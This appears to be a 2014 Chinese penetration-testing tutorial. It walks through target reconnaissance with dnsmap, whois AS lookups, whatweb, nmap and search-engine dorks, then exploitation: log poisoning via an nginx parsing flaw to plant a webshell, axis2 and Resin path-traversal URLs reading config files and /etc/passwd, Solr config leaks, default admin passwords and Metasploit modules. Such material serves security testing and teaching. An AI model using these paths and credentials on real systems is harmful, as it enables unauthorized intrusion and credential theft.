0x00 寻找目标


在自己日常检测中以及观察他人检测思路发现前期收集信息具有很关键的作用,很多时候不需要对某种漏洞有很深的研究,如果前期收集了足够多的目标,只需要检测一些常见的高危漏洞即可有收获

常用思路

1.网段信息

1)通过子域名

如果存在域传送这种漏洞是最好的,没有的话一般就要暴破子域名了

我常用的软件为dnsmap,基本用法

./dnsmap target-domain.com -w 你的域名字典 -r 要保存结果文件的绝对路径

针对做了泛解析的域名可以使用-i 需忽略ip来避免误报,如对域名xxx.com的暴破过程中不存在域名都解析到1.1.1.1上,则使用命令为

./dnsmap xxx.com -w domain.txt -i 1.1.1.1 -r /tmp/result.txt 

结果为如下格式:

2014083012324194719.png 

其中默认编译的dnsmap存在一个问题,解决方法与其他使用方法请参考

http://pan.baidu.com/s/1nt5HMw5

大家可以在默认字典的基础上加一些如oa、zabbix、nagios、cacti、erp、sap、crm等等,不少企业都是这种命名方式

渗透的话一般会从oa,mail等重要业务网段寻找目标,如果发现有些管理后台的域名为

xx.admin.xxx.com这种,则可继续扩展,寻找admin.xxx.com下的三级域名

曾检测某站时无意发现一个ntp.nb.xxx.com的域名,进而暴破nb.xxx.com这个域名,结果如下

2014083012332478937.jpg 

其中zabbix.nb.xxx.com这个站点暴露到了外网,版本较低,使用zabbix的注入漏洞成功获取权限

2014083012334836324.jpg 

同时子域名也可通过搜索引擎语法site:xxx.com收集(不断增加条件,可获取的更多,如inurl,intitle等等)

2)AS号

Jwhois使用方法

yum install -y jwhois

执行

whois -h asn.shadowserver.org origin 1.1.1.1

可获得ip所在企业的AS号

继续执行

whois -h asn.shadowserver.org prefix as号

即可获得该as号对应网段

注:一般只有大企业才会有as号,并且一个企业可能会有多个as号

3)DNS 2014083012343269530.jpg 

4)spf记录

2014083012350888436.jpg 

如何判断cdn?

如果误把cdn的ip加到目标里会影响一些人工时间,如何判断cdn?最简单的方法是用多地ping功能

http://ping.chinaz.com/

2014083012353084184.jpg 

2.利用whatweb寻找web入口

使用方法

./whatweb 1.1.1.1/24 --log-brief=output_file(详细使用参考使用说明) 

默认的话只识别80端口的,如果此时我们想识别下8080端口,再加上–url-suffix=”:8080”即可

可根据title,cms等信息寻找目标,一般把后台或者存在已知漏洞的系统作为目标,同时可寻找nginx低版本存在解析漏洞的站点,受影响版本为0.5全版本,0.6全版本,0.7<=0.7.65,0.8<=0.8.37

附上一则实例:

在检测某企业时,whatweb批量识别指纹发现存在一台nginx版本比较低且存在解析漏洞的站点,首页为空白页,对目录结构暴破发现.bash_history文件

2014083012360122353.jpg 

操作历史中发现有打包文件且放在web目录下

2014083012364544754.jpg 

下载打包文件,内容如下

2014083012371464932.jpg 

其中发现有log文件,且log文件会记录user-agent信息

2014083012373986307.jpg 

使用firefox插件User Agent Switcher更改user-agent信息

 2014083012375814489.jpg

一句话代码写入log文件后利用解析漏洞直接获取webshell

2014083012381959967.jpg 

3.利用nmap寻找可利用服务

详细用法参考使用手册,个人常用命令为(-P0参数视情况添加,如果没有禁ping可以不加,提升速度)

./nmap -sT -sV 1.1.1.1/24 -P0 -oN /tmp/port_result.txt --open 

Ip较少的情况下可以扫全端口以及一些基本信息

./nmap -sT -sV -p 1-65535 1.1.1.1 -P0 -A

利用nmap可以发现一些非80/443/8080这种常见端口上的web以及一些容易出问题的端口如

873(rsync无验证)/21(ftp匿名账户)/11211(memcache无验证)/27017(mongodb无验证)等,碰到不认识的服务别急着放弃,去exploit-db等站点搜一下是否存在已知漏洞吧,说不准直接找到个RCE呢(很多时候我也会在乌云search一下,搜到的话就是实际例子,看着更直白)

4.利用搜索引擎寻找后台或重要系统

常用搜索语法为site:xxx.com inurl:login

Inurl的值可以自由变换,常用的包括admin、manage或者使用intitle:找管理、登录之类的关键字,有些站点出来的结果可能多数为同一站点下的误报,比如博客类的,问问类的,可使用-来减少误报,比如google中搜索site:baidu.com inurl:login -zhidao就可以在结果中去除zhidao相关的结果,百度可输入

site:baidu.com inurl:login -site:zhidao.baidu.com

实例参考: WooYun: 对苏宁易购一次完整的web检测过程(多图)

5.搞一个精简的路径字典

我们可以把容易出问题且危害比较高的常见路径做成一个精简的小字典,针对之前收集的域名去遍历,比如/invoker/JMXInvokerServlet、wwwroot.zip这种,发现的话很大几率可以搞到权限

0x01 利用


这里列出几个常见的系统利用方法

1. 后台

当前面的过程中发现后台或者重要系统时,一般会进行如下几种检测

1)awvs综合扫描(经常有意外发现) 2)目录结构暴破 3)口令暴破(admin不行的时候,不一定是密码不对,很多时候是用户名不对,尝试想到的可获取用户名的一切方法,如翻翻js、css文件,html源码注释内容,或者.svn目录下的信息泄露等,密码可针对系统名称及域名等信息做一些变形加到字典中) 4)Html源码、js等文件获取信息(有些开发者会把一些管理地址以注释形式放到html源码中,管理的接口地址写在js中,运气好的话可以直接越权访问) 5)参数值暴破(一些框架写的后台登陆页面可能是这种格式xx.com/?c=login,日常可以收集一些常见的参数值,如index、main、upload、edit、adduser等、运气好的话可以直接越权操作)

2. axis2

文件包含:

www.xxx.com/axis2/services/listServices 查看所有services

www.xxx.com/axis2/services/xxxxx?xsd=../conf/axis2.xml xxxxx替换任意服务均可,读取axis2配置文件获取后台账户

2014083012385029649.jpg

www.xxx.com/axis2/axis2-admin/ 登陆管理后台

后台部署文件代码执行:

使用metasploit

2014083012392773538.jpg 

Resin

文件读取:

http://www.xxx.com/resin-doc/resource/tutorial/jndi-appconfig/test?inputFile=/etc/passwd

2014083012401614058.png 

也可以通过

http://www.xxx.com/resin-doc/resource/tutorial/jndi-appconfig/test?inputFile=http://1.1.1.1

实现SSRF

solr敏感信息泄漏

http://xxx.org:8080/solr/admin/file/?file=solrconfig.xml

搜索xml文件,找到data-import.xml

2014083012404391496.jpg 

访问http://xxx.org:8080/solr/admin/file/?file=data-import.xml获取数据库密码

2014083012411280552.jpg 

Hudson(jenkins类似)

参考 WooYun: 搜狐某应用远程Groovy代码执行!

Zenoss

Google关键字:intitle:”Zenoss Login”

默认口令admin/zenoss

利用方法参考

WooYun: 从一个默认口令到youku和tudou内网(危害较大请尽快修复)

Zabbix

后台:http://www.xxx.com/zabbix

默认密码:admin/zabbix

Google:inurl:zabbix/dashboard.php

利用方法参考 WooYun: 应用汇zabbix运维不当导致任意命令执行。

另外这个zabbix注入的也很多都存在http://drops.wooyun.org/papers/680

Cacti

默认登陆路径www.xxx.com/cacti/index.php

默认密码admin/admin

利用方法参考 WooYun: cacti后台登陆命令执行漏洞

Splunk

默认后台地址:

http://xxx.com:8000/zh-CN/account/login?return_to=%2Fzh-CN%2F

2014083012413824936.jpg 

默认账户admin/changeme  默认端口8000

2014083012415718222.jpg 

管理器-应用-从文件安装应用处可获得shell

2014083012421664684.jpg 

msf有利用模块

exploit/multi/http/splunk_upload_app_exec

2014083012423574417.jpg 

0x02 结尾


推荐两篇乌云综合性介绍文章

1.从乌云看运维安全那点事儿

http://drops.wooyun.org/papers/410

2.攻击JavaWeb应用7-Server篇1

http://drops.wooyun.org/tips/604